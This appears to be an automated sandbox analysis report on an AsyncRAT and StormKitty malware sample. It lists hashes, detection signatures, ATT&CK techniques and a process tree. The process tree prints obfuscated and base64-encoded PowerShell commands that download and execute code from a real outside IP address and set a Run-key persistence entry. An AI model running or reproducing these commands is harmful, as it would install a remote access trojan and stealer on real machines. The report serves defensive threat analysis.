asyncrat | ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/05/2026, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
Size 28KB
Sample260528-syxplaev5x
SHA256 ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f
MD5 f1c20ed9a182dbd10a5ac8c1f90b9108
SHA1 455409338876e5aa4cbfcb54978a614363fcc2cd
SHA512 3681a71f5e10e18ca9f8494fcc8550e956f67e0bf06bbc0e3e1fdb256d3f0b339c8b31d665e65880b2b093d208551641026960f8d036d6a92eda457018d7b943
SSDEEP 192:YQPtxD/bOUNE9u9u9DClFE9u9u9DClyaOmD65cnE9u9u9DCl:YS1raYYD0aYYDOnaYYD
TLSH
T178D241B74324B02AECF762740F59F6792F16BC521D0A410688C95FD7A71E2A4DC632BB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution asyncrat stormkitty persistence rat stealer

Malware Config

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3312	2816	powershell.exe	88

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/3644-112-0x0000000000400000-0x000000000073C000-memory.dmp	family_stormkitty

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3312	powershell.exe
7	1844	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsofts = "powershell -wi mi -Enc LgAoACgAJwBzAHMAZAB4ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAHMAcwBkACcALAAnAGkAZQAnACkAKQAgACgAaQByAG0AIAAnADkAMQAuADkAMgAuADIANAAwAC4AMQAyADUAOgA4ADgAOAA4AC8AaQByACcAKQA="	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3312	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3312 set thread context of 3644	3312	powershell.exe	100
PID 1844 set thread context of 3572	1844	powershell.exe	105

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
3312	powershell.exe
3312	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
3644	RegSvcs.exe
3644	RegSvcs.exe
3644	RegSvcs.exe
3644	RegSvcs.exe
3644	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	1844	powershell.exe
Token: SeDebugPrivilege	3644	RegSvcs.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2388	ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
3644	RegSvcs.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 3644	3312	powershell.exe	100
PID 3312 wrote to memory of 3644	3312	powershell.exe	100
PID 3312 wrote to memory of 3644	3312	powershell.exe	100
PID 3312 wrote to memory of 3644	3312	powershell.exe	100
PID 3312 wrote to memory of 3644	3312	powershell.exe	100
PID 1844 wrote to memory of 2552	1844	powershell.exe	103
PID 1844 wrote to memory of 1704	1844	powershell.exe	104
PID 1844 wrote to memory of 3572	1844	powershell.exe	105
PID 1844 wrote to memory of 3572	1844	powershell.exe	105
PID 1844 wrote to memory of 3572	1844	powershell.exe	105
PID 1844 wrote to memory of 3572	1844	powershell.exe	105
PID 1844 wrote to memory of 3572	1844	powershell.exe	105

C:\Users\Admin\AppData\Local\Temp\ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
"C:\Users\Admin\AppData\Local\Temp\ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell iex(('ssissrsssm 91.92.240.125:8888/2j | isssesssx').replace('s',''))
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -wi mi -Enc LgAoACgAJwBzAHMAZAB4ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAHMAcwBkACcALAAnAGkAZQAnACkAKQAgACgAaQByAG0AIAAnADkAMQAuADkAMgAuADIANAAwAC4AMQAyADUAOgA4ADgAOAA4AC8AaQByACcAKQA=
1⤵
- Badlisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  PID:2552
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  PID:1704
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3572

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 5KB
SHA256 41865716183f0f3b2f23af84b59725fd8c3925fc62bd529eb6ad1d628bf94567
MD5 54e15b5f5404430474853b5d502ea7ee
SHA1 de3084ce0682e54d7f230dd1e056b2e654b550e8
SHA512 ceac93b61b5aa4e7b97e05b80626a5a5bb016ea9257b0e4e4c7bb3c0495c68709614868ca6312b946a83dec65e6209661144377f932e153eefdc52adcefbc2e4
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq6fm0RIzoZh4BPtLRiNLhDAyRLcxY:iqdYqGAjdx4qKkq3qktznEuZq6XIzohP
TLSH
T18FB1EF313275F0D9CC263F021E2D1AD053AF4396EA949F48B258625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 87e8f61ed22fd75d3092139c3b0a1acf9cc6db3addde9b43ecf03c27f0c12496
MD5 4e9d2306a93e4373a6f4a2f4dda7858a
SHA1 02bee9e84cec8f8e4d88498651e347fb83cce35f
SHA512 e82b8302760e14b5e3e9380002b4df2bcad6ce48cbf870a00612e175ee203d0265b3a2e72bccdb9a5b2f3a3edf44f95d6ffa80fc301b58c02271c24685726196
TLSH
T1ED31A737F78C8521DC8A0539558D9C10B6B283D7C09ECE9FAEC1D620E1BF6C8CA69090
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_d30ucct2.3vo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d30ucct2.3vo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1844-13-0x0000028356A90000-0x0000028356AA0000-memory.dmp

Download

memory/1844-199-0x0000028359070000-0x0000028359172000-memory.dmp

Download

memory/1844-14-0x0000028356A90000-0x0000028356AA0000-memory.dmp

Download

memory/3312-23-0x00000229AA130000-0x00000229AA1A6000-memory.dmp

Download

memory/3312-111-0x00000229AA2A0000-0x00000229AA2A8000-memory.dmp

Download

memory/3312-2-0x00000229A7A40000-0x00000229A7A50000-memory.dmp

Download

memory/3312-31-0x00000229A9F60000-0x00000229A9F7C000-memory.dmp

Download

memory/3312-32-0x00000229AA1B0000-0x00000229AA265000-memory.dmp

Download

memory/3312-40-0x00000229A9F60000-0x00000229A9F6A000-memory.dmp

Download

memory/3312-55-0x00000229A9F90000-0x00000229A9FAC000-memory.dmp

Download

memory/3312-70-0x00000229A9FA0000-0x00000229A9FAA000-memory.dmp

Download

memory/3312-85-0x00000229AA270000-0x00000229AA28A000-memory.dmp

Download

memory/3312-93-0x00000229AA270000-0x00000229AA278000-memory.dmp

Download

memory/3312-101-0x00000229AA280000-0x00000229AA286000-memory.dmp

Download

memory/3312-109-0x00000229AA290000-0x00000229AA29A000-memory.dmp

Download

memory/3312-110-0x00000229AA280000-0x00000229AA298000-memory.dmp

Download

memory/3312-22-0x00000229A7A40000-0x00000229A7A50000-memory.dmp

Download

memory/3312-3-0x00000229A7A40000-0x00000229A7A50000-memory.dmp

Download

memory/3312-115-0x00000229A9DF0000-0x00000229A9EF2000-memory.dmp

Download

memory/3312-4-0x00000229A7A10000-0x00000229A7A32000-memory.dmp

Download

memory/3312-12-0x00000229AA300000-0x00000229AA4C2000-memory.dmp

Download

memory/3644-117-0x00000000057B0000-0x0000000005816000-memory.dmp

Download

memory/3644-116-0x0000000005D60000-0x0000000006304000-memory.dmp

Download

memory/3644-112-0x0000000000400000-0x000000000073C000-memory.dmp

Download

memory/3644-201-0x00000000067F0000-0x0000000006882000-memory.dmp

Download

memory/3644-202-0x00000000067D0000-0x00000000067DA000-memory.dmp

Download

memory/3644-205-0x0000000007010000-0x00000000070AC000-memory.dmp

Download

memory/3644-206-0x0000000007280000-0x00000000072A2000-memory.dmp

Download

memory/3644-207-0x00000000072B0000-0x0000000007604000-memory.dmp

Download

memory/3644-208-0x0000000007E40000-0x0000000007EB6000-memory.dmp

Download

memory/3644-209-0x0000000007EE0000-0x0000000007EFE000-memory.dmp

Download